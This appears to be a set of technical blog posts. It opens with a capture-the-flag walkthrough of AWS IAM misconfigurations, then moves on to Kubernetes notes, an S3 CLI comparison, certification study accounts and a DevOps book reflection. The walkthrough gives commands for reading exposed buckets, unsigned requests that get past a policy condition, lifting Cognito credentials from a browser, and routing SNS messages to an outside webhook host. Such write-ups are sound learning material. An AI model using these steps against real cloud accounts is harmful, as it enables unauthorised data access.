Challenge 1 Buckets of fun

The IAM policy goes as follows. It shows that the user has access to thebigiamchallenge-storage-9979f4b bucket.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

So we will peek what’s inside the bucket first.

> aws s3 ls s3://thebigiamchallenge-storage-9979f4b - recursive
2023–06–05 19:13:53 37 files/flag1.txt
2023–06–08 19:18:24 81889 files/logo.png

flag1.txt seems to be the target.

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -

The use case is exactly the same as this example.

Challenge 2 Analytics

New challenge IAM policy.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

By receiving the message from the queue, we get a bucket link in the body, where hides the flag.

> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
    "Messages": [
        {
            "MessageId": "581287e7-08ab-445a-910c-7fca773e053f",
            "ReceiptHandle": "",
            "MD5OfBody": "",
            "Body": ""
        }
    ]
}

Challenge 3 Enable Push Notifications

IAM policy as follows,

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

The most straightforward way is just to subscribe to the topic with an email address which fits the endpoint criteria. But there are 2 problems. We can’t have an email ending with tbic.wiz.io. And we need to confirm subscription from the email.

So we have to look at other endpoints that can receive the push.

--protocol (string)

The protocol that you want to use. Supported protocols include:

http – delivery of JSON-encoded message via HTTP POST
https – delivery of JSON-encoded message via HTTPS POST
email – delivery of message via SMTP
email-json – delivery of JSON-encoded message via SMTP
sms – delivery of message via SMS
sqs – delivery of JSON-encoded message to an Amazon SQS queue
application – delivery of JSON-encoded message to an EndpointArn for a mobile app and device
lambda – delivery of JSON-encoded message to an Lambda function
firehose – delivery of JSON-encoded message to an Amazon Kinesis Data Firehose delivery stream.

We can use Http or https. The key is to construct a url with the same suffix.

aws sns subscribe\
 --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol https  \
--notification-endpoint https://webhook.site/b0948c06-98ff-4cfc-8c7f-6530db444bb5/@tbic.wiz.io

I tried webhook.site as many suggested, but I faced the file or directory not found error.

Challenge 4 Admin only?

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

This policy only restricts listing bucket but not getting objects. If we have the object path, we can get the object.

Even though there’s a condition to list bucket as an admin, it’s under ForAllValues. If the PrincipalArn is admin or doesn’t exist, both will be evaluated as true. We normally use ForAllValues in Deny statements. So we can pass ‘ — no-sign-request’ argument in the command, then credentials will not be loaded.

aws s3 ls thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request

After getting the path of the file, we can use the way to view it in the first challenge.

Challenge 5 Do I know you?

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

This challenge is very interesting. Open the image from the website in a new tab, and if we look at the url, it contains AccessKeyId. And the file sits in wiz-privatefiles s3 bucket.

Then we open the developer tool in the browser and locate the script for the image. We can tell that the credential comes from Cognito Identity, which we can use to access the files.

So in the console, if we type AWS.config. credentials, we get the following information. It has AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN values that we need.

I’ve tried setting these in the terminal of the shell, but it doesn’t work. So I have to set the credentials locally.

> aws sts get-caller-identity
{
    "UserId": "AROARK7LBOHXJKAIRDRIU:CognitoIdentityCredentials",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessUnauth_Role/CognitoIdentityCredentials"
}

We can tell if we’re assuming the right role by running the above command.

Then we get the file path and get the object like previous challenges.

aws s3 ls wiz-privatefiles/
aws s3 cp s3://wiz-privatefiles/flag1.txt -

Challenge 6 One final push

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

With the cognito identity pool id, we can generate a new identity.

> aws cognito-identity get-id - identity-pool-id us-east-1:b73cb2d2–0d00–4e77–8e80-f99d9c13da3b
{
    "IdentityId": "us-east-1:157d6171-ee1e-c763–63d3–19e607043322"
}

> aws cognito-identity get-open-id-token - -identity-id "{your_identityid}"

The challenge mentioned that it’s already authenticated with role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role. So we will assume this role.

> aws sts assume-role-with-web-identity \
 --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name iam-challenge-6 \
--web-identity-token "{your_token}"

Then we run

aws s3 ls

It would list a few buckets. After trying accessing these buckets, only the last one is accessible.

Like what we did in previous challenges, we fetch the object and get the flag.

crictl provides a CLI for CRI-compatible container runtimes.

Container Runtime Interface (CRI) is a plugin interface that allows the kubelet to use various container runtimes without needing to recompile Kubernetes.

When we use crictl

1. Troubleshooting Pod Failures

Sometimes, kubectl get pods shows a pod in CrashLoopBackOff or ContainerCreating, but doesn't give the full story.

2. When Working Directly with the Container Runtime

Kubernetes uses a Container Runtime Interface (CRI) underneath (e.g., containerd, CRI-O). If you want to debug issues:

• Below the Kubernetes level
• Or when kubelet is down

3. Check Historical Container Info

kubectl only shows info about currently running or recently failed pods. If a container failed a while ago, it may be gone from kubectl.

How to use it

Firstly, run the command crictl ps -a . It is used to list all containers (both running and stopped) managed by the container runtime used by Kubernetes. It’s similar to docker ps -a command.

CONTAINER ID        IMAGE                                                                                                             CREATED             STATE               NAME                       ATTEMPT
1f73f2d81bf98       busybox@sha256:141c253bc4c3fd0a201d32dc1f493bcf3fff003b6df416dea4f41046e0f37d47                                   7 minutes ago       Running             sh                         1
9c5951df22c78       busybox@sha256:141c253bc4c3fd0a201d32dc1f493bcf3fff003b6df416dea4f41046e0f37d47                                   8 minutes ago       Exited              sh                         0
87d3992f84f74       nginx@sha256:d0a8828cccb73397acb0073bf34f4d7d8aa315263f1e7806bf8c55d8ac139d5f                                     8 minutes ago       Running             nginx                      0
1941fb4da154f       k8s-gcrio.azureedge.net/hyperkube-amd64@sha256:00d814b1f7763f4ab5be80c58e98140dfc69df107f253d7fdd714b30a714260a   18 hours ago        Running             kube-proxy                 0

Then we can use crictl logs [CONTAINER-ID] to extract logs.

QoS is about how Kubernetes manages pod resources (CPU/memory) under resource pressure on a node.

There are three QoS classes:

1. Guaranteed — Pod requests and limits are equal and set for all containers.
2. Burstable — Pod has limits and requests set, but not equal.
3. BestEffort — Pod has no requests or limits set.

Effect: When a node runs out of memory or CPU, pods are evicted in this order: BestEffort → Burstable → Guaranteed

Pod Priority

Pod priority determines the importance of a pod during scheduling and eviction.

Higher priority pods:

• Are scheduled first when resources become available.
• Are evicted last during node resource pressure.
• Can trigger preemption of lower priority pods (if enabled).

Effect: If there’s resource contention across the cluster, lower priority pods may be preempted to make room for higher-priority ones.

Therefore, QoS and Pod Priority are two orthogonal features, but they both play roles in eviction decisions.

When node is under pressure,

• It first considers QoS class.
• If multiple pods in the same QoS class are candidates, priority value breaks the tie.

When scheduler is under pressure, it will only consider Pod Priority and PreemptionPolicy to decide which pods to evict.

Recently I had to view a S3 object using CLI in a read-only environment. I was stuck for a while before I found the solution. Here are my learnings from it.

First of all, let’s look at s3 and s3api commands. This article explained very well about the differences and use cases.

In a word, aws s3apiis low-level while aws s3is high-level. What does it mean? s3api commands directly invokes S3 API and has near one-to-one mapping to API. When we define policies and permissions for S3, we need to specify actions. One commonly used command is GetObject. You will find that s3api has corresponding commands for that, aws s3api get-object. aws s3 commands simplify managing objects and buckets.

Now, let’s take a deep dive into aws s3 cp and aws s3api get-object respectively.

aws s3 cp

The basic syntax is as follows,

aws s3 cp
<LocalPath> <S3Uri> or <S3Uri> <LocalPath> or <S3Uri> <S3Uri>

It can copy files between local storage and S3, or between S3 locations.

For example,

aws s3 cp s3://mybucket/example.txt ./example.txt

Back to the initial task I was given, I couldn’t create a new file nor save it into an existing file. Gladly, example 13 from the official documentation shows a way to stream the file as standard output by using a magical -.

aws s3 cp s3://mybucket/example.txt -

aws s3api get-object

The simplest command needs to include the bucket, key and outfile. Note that the outfile parameter is specified without an option name such as “ — outfile”. The name of the output file must be the last parameter in the command.

aws s3api get-object
--bucket <value>
--key <value>
<outfile>

For example,

aws s3api get-object --bucket mybucket --key example.txt ./example.txt

The output file doesn’t need to be created before running this command. It would create a new one if it doesn’t exist.

If it’s running successful, the output would be in JSON format.

{
    "AcceptRanges": "bytes",
    "LastModified": "",
    "ContentLength": ,
    "ETag": "\"\"",
    "ContentType": "",
    "ServerSideEncryption": "",
    "Metadata": {}
}

I’ve searched intensively in the document or the Internet but couldn’t find any clues of presenting the file without saving it locally.

Conclusion

aws s3 cp and aws s3api get-object are two representatives from s3 and s3api commands which are similar but different in many ways. aws s3 cp is indeed simple to use, suitable for copying files between local storage and S3, or between S3 locations. It can quickly show you the content of the file from the terminal. aws s3api get-object has more options hence provides granular control. The output of the command also contains rich information which might be useful for some.

12 months to go

I felt empty after clearing the AWS Associate Architect exam. While I was looking for my next challenge, I chatted to a buddy at work. He told me he was preparing for the DCA (Docker Certified Associate) exam and his next goal would be the CKA (Certified Kubernetes Admin) exam. After some research, I learned that getting CKA certification is more difficult and therefore, more rewarding to me. Without further ado, I registered for the exam.

The first thing I did was to hop onto the Internet and search ‘how to pass CKA’, most of the materials I found suggested setting two months aside to prepare. They also recommended two resources, a Udemy course (also on KodeKloud) and Killer.sh’s exam simulators, which were included in the exam.

10 months to go

I fell into a pit called self-doubt. It felt impossible to make my way through everything within only two months, because I would have to learn a lot (Linux, Docker, networking, etc.) to better understand Kubernetes. It was also then that I realised that I had to go at my own pace.

8 months to go

I kept myself away from Kubernetes for a few months and put my head in Terraform. Terraform was a popular skill to have, plus it was easy to pass. So I spent some time in Terraform and got certified, from which I gained some confidence.

6 months to go

I gave myself a 3-month Christmas break.

3 months to go

I was finally in a position for the final sprint after taking crash courses on Vim and Docker. With Kubernetes being so heavily driven by manifests and config files, feeling comfortable with a powerful text editor like Vim was essential. And with Kubernetes as a prominent container orchestrator, it was important to understand exactly what I was orchestrating. Docker is so dominant in the container world that basically Docker is equivalent to container.

On my second attempt to complete the Udemy course, miraculously, I felt that Kubernetes was not difficult as it was before. Then I executed the following code.

for (int i = days; i > 0; i — ) {
watch(tutorial videos);
read(documentation);
practice(A_LOT);
}

2 weeks to go

There was an episode before the exam. The PSI exam environment had changed, in an unfavourable way. Many people had complained about the poor performance of the browser based remote desktop. This didn’t make me feel better about my chances in the exam.

1 week to go

To combat the growing exam anxiety, I signed up a mindfulness training course.

Exam Day

The exam experience was truly awful, just like what others complained. I felt panicked when 10 minutes passed and I hadn’t completed a single challenge. There were a lot of thoughts jumping into my mind at that moment. One of them was clicking the exit button and closing the lid of my laptop. Thankfully, I anticipated that these thoughts would come so I used some techniques such as focusing on breathing and shifted my mind successfully back to the task.

On the 9th of July 2022, I passed the CKA exam on the first go.

TL; DR.

Dos

1. Better have a basic understanding of containers and Linux before studying Kubernetes.
2. Use the Udemy course and exam simulators. These are the main resources that I utilised and they are truly helpful.
3. Practice. Practice. Practice. Even though new exam environment is not as smooth as before, being prepared and keeping a good attitude help.

Don’ts

1. Don’t push yourself too hard. Everyone has their own pace.
2. Don’t be intimidated by the CKA exam. There’s a free retake after all.
3. Don’t give up. You can achieve your goal, as long as you hang in there a bit.

An incomplete guide to pass AWS Solution Architect Associate exam

About me

80% self-taught coding, almost 0 AWS experience, didn’t study Cloud Practitioner, 1.5 months to prepare. Used materials from AWS SheBuilds Cloud U, Stephane Maarek’s lectures and practice exams on Udemy, Demystifying the exam on Pluralsight. In addition, I attended a 3 day AWS Sys Ops training.

Overview of the exam

• Multiple choice questions, with single or multiple selections
• 65 questions
• 130 minutes but extra 30 minutes for people who’re not native English speakers (need to apply accommodation before registering the exam)
• Domains include designing resilient (30%), performant (28%), secure (24%), cost-optimised architecture (18%).

All right, let’s jump to the core: how to prepare for this exam.

I would divide my learning journey into 3 parts, creating points, connecting dots and last sprint.

Creating points (~3 w)

The purpose of this stage is to familiarise with AWS services. If you have free access to Udemy, you can watch Ultimate AWS Certified Solutions Architect Associate 2021. It’s very detailed and lecturer would mention past exam questions from time to time. However, this course is very long (27 sections, 24h 10m) and not structured well. To better use this material, I recommend watching it selectively.

If you don’t have access, that’s all right. You can make full use of the documentation (https://docs.aws.amazon.com/)! Services are grouped together. I will prioritise groups based on frequencies of questions that appear in the exam, roughly.

Compute (EC2, Lambda)

Networking & Content Delivery (VPC, Elastic Load Balancing, CloudFront, Route53, Direct Connect, VPN, Global Accelerator)

Storage (S3, EBS, S3 Glacier, EFS)

Database (RDS, Aurora, DynamoDB, ElastiCache)

Security, Identity & Compliance (IAM)

Management & Governance (Auto Scaling, CloudWatch,)

Application Integration (SNS, SQS)

Cryptography & PKI (KMS)

Analytics (Kinesis)

Containers (ECS, EKS)

The below topics in my memory appeared once in the exam.

FSx, Storage Gateway, Elastic Beanstalk, Redshift, Cognito, GuardDuty, Resource Access Manager, WAF, Shield, Certificate Manager, CloudFormation, Config, CloudTrail, Systems Manager, DataSync, Database Migration Service, API Gateway, Glue, Athena, Billing & Cost Management.

When I completed this stage, I felt that my mind was blowing. I was also frustrated as I couldn’t remember what I learned in the beginning. But don’t stress, keep reading.

Connecting dots (~ 2w)

Exam question is basically describing a scenario and asking you to choose the best solution that satisfies requirements.

From this sample question, we can see that AWS is examinng our ability to design a solution combining services. Well, this is definitely essential to SA as architecture is never complete without compute/storage/network/…

Apart from integrating each block (compute/storage/network, etc.), we need to associate them with the four domains.

I learned Architecting on AWS and Exam Readiness courses in CloudU. The second course has an alternative on Pluralsight, called Demystifying the AWS Certified Solutions Architect: Associate Exam. 5 star rating, no complaints.

After the second round of study, you should be able to explain each bullet point in this extracted content outline.

This is the most rewarding learning stage. You feel like you have a big picture perspective now.

Last sprint (~1w)

I’m sure that you still don’t feel ready after completing the above stages. Let’s save 1 week to familiarise the exam and discover your blind spots through mock exams. There are many choices on Udemy. I find that they all provide detailed explanation to each question after you finish the test. This is really helpful. Taking many tests is unnecessary (4~5 is enough).

General study techniques

1. Learn from mistakes. Note down all uncertain questions and incorrect questions in practice. Review them from time to time.
2. Learn to compare. It occupies less storage in our brain as we only need to memorise differences. Common comparison include EBS vs instance store, Classic LB vs ALB vs NLB, on demand vs spot vs reserved instances, etc.
3. Learn by associating. I always think of parcel locker when I learn decoupling architecture.
4. Learn through helping. When you explain certain concepts to others, you’re reinforcing your memory.
5. Learn in sleep. Knowledge is refined and consolidated during the sleep. So sleep well.

In the end, I have to admit that this exam is difficult for me. I feel that I still have a lot to learn. So this is not an end but a beginning.

Good luck to everyone who’s learning AWS SA. Let me know if there’s anything wrong in this guide. Also feel free to contact me if you need some prep talk haha.

Thank you for reading and sharing.

As the book subtitle shows, this book is about IT, DevOps and Business. It integrates DevOps principles into the story and vividly illustrates how organisations change. Everyone who works in IT projects should feel familiar with stories in the book.

My story

I can relate to the book but I want to tell my story from a different angle, business perspective. I was a business analyst in a project which is very critical to the company, probably just like Phoenix Project. The project is to bring competitive advantages for the company if successful. It involves replacing an old system which provides a new shopping experience for customers. When we were still in the development phase of the project, another project went to the deployment stage and created a lot of chaos afterwards. I could recall IT ops were busy putting out fires.

When the day our project went live came, everyone in the team was very excited. It was the first project of new IT architecture put into production. I became excited as that was my first time experiencing deployment. The business manager only gave us a few hours’ time window to deploy the new system. So we used the day to check servers, migrate static data, etc. At midnight, the old system was shut down and new system was launched. We had developed a dashboard to capture exceptions. In the first two hours after new system’s activation, I closely monitored the dashboard and would report if there’s any. It seemed so successful as there’s no critical incident occurred. So I completed documentation of this go-live and went home to sleep.

The next morning when I entered the office, my colleague told me to check OA. We’ve built a group specifically for end users of this project. My heart sank when I saw ‘99+’ . It’s different when you see others work and you work. I wish I could be splitted to 2 to share the burden. I tried my best to multi-task, one hand holding the phone hearing their complaint with eyes looking at the screen and the other hand typing answers. Days like this lasted for a while.

We did analysis about causes of incidents and found that about half is system deficiency, and the rest is human mistake. Their mistakes can be misunderstanding and wrong operation. The result is very surprising. It just reminds me that it is often said in cybersecurity circle that human is the weakest link.

Missing puzzle

If we dive deeper, why do users still make mistakes after receiving trainings? Reasons vary.

1. Not enough and effective engagement

When we did business analysis, we engaged a lot with product manager, marketing manager, etc. but little with end users. They were invited to workshops but they barely expressed their opinions. It wasn’t until UAT (User Acceptance Testing) that they became lead actors. Part of end users received face-to-face trainings 2 weeks before the go-live. For the rest who were in another city, we provided online training, wrote user manuals and recorded videos to help them learn. In the end, remote users made more mistakes than locals. We also didn’t establish a measurement system to examine the effectiveness of training. End users claimed that they understood but there’s a gap between understand and act.

2. No consideration of user experience

The requirements were mainly from one representative of end users, who’s the manager. Our focus is on functions. It’s very common that a backend system (end users are employees) ignores UX. Here’re some examples of backend system interfaces.

Our system interface looks prettier than these two giants (I can’t share screenshots as it’s confidential). But we had no consideration about UX. Also, end users only gave us feedback regarding functions rather than their experience. It appears that an end user has to endure terrible design of experience. They didn’t like the system so learning about is a task, not a pleasure. It’s very pathetic that no one cares about end users in the company.

Perhaps BizDevOps?

I also asked developers in my team about whether have they considered end users. The answer is no.

I can understand why company gives zero thought of end users. It’s an internal system. A user friendly system is not adding value. The book stressed the importance of creating business values through IT. My project does achieve business goals. But can it be called a success?

I doubt it. Reluctance to new system, low satisfaction…

My hunch is to introduce BizDevOps to the company. It should be more like a culture, a methodology rather than tools, practices. I believe that many companies are already doing this and find that this term has been created. However, they need to ask these questions:

Does business truly understand IT?

Does IT truly understand business?

How effective is BA? (BA is the conduit of Business and IT.)

We need to shape IT’s mind about user-centered design. It’s discussed a lot in software development but often ignored in internal projects. BA needs to rethink the business definition, scope and goal. BA needs to balance end users and their managers’ needs. Business leaders should care more about end users, letting them voice their opinions.

BizDevOps needs collaboration of multiple parties and can only be successful on mutual understandings. I think based on this principle, you can find suitable ways to implement in your company.

Closure

A couple of years have passed since that project completed but it left me with a strong impression. I’m certain that a lot has changed in IT projects. The adoption of agile methodology makes it easier to cater to business needs. If you have any thought, don’t hesitate to comment.